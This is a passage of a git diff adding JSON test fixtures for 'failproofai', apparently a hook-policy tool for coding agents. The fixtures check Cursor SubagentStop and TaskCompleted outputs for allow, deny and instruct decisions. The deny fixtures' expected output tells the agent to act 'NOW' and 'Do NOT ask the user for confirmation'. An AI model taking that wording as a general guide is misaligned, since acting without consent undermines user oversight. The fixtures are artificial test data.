"cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/SubagentStop/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/SubagentStop/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..7ca191d5 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SubagentStop/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/SubagentStop/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/SubagentStop/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..6b5e3d2a --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SubagentStop/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/SubagentStop/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/SubagentStop/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..f89152c7 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SubagentStop/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/SubagentStop/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/SubagentStop/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..691680e7 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SubagentStop/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/SubagentStop/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/SubagentStop/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..c1fe21c2 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SubagentStop/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"followup_message\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/SubagentStop/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/SubagentStop/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..3d4e4a05 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SubagentStop/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"followup_message\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/SubagentStop/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/SubagentStop/deny__tool-present__one-policy.json new file mode 100644 index 00000000..ef80f03e --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SubagentStop/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"followup_message\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/SubagentStop/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/SubagentStop/deny__tool-present__two-policies.json new file mode 100644 index 00000000..f2d0dc17 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SubagentStop/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"followup_message\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/SubagentStop/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/SubagentStop/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..b2b794ff --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SubagentStop/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"followup_message\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/SubagentStop/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/SubagentStop/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..537ba3b7 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SubagentStop/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"followup_message\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/SubagentStop/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/SubagentStop/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..d30c3263 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SubagentStop/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"followup_message\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/SubagentStop/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/SubagentStop/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..63612008 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SubagentStop/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"followup_message\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/TaskCompleted/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/TaskCompleted/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..10455315 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TaskCompleted/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/TaskCompleted/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/TaskCompleted/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..807cc56f --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TaskCompleted/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/TaskCompleted/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/TaskCompleted/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..a1ec43be --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TaskCompleted/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/TaskCompleted/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/TaskCompleted/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..4e0959c1 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TaskCompleted/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/TaskCompleted/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/TaskCompleted/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..ff421d43 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TaskCompleted/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/TaskCompleted/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/TaskCompleted/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..e248c808 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TaskCompleted/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ 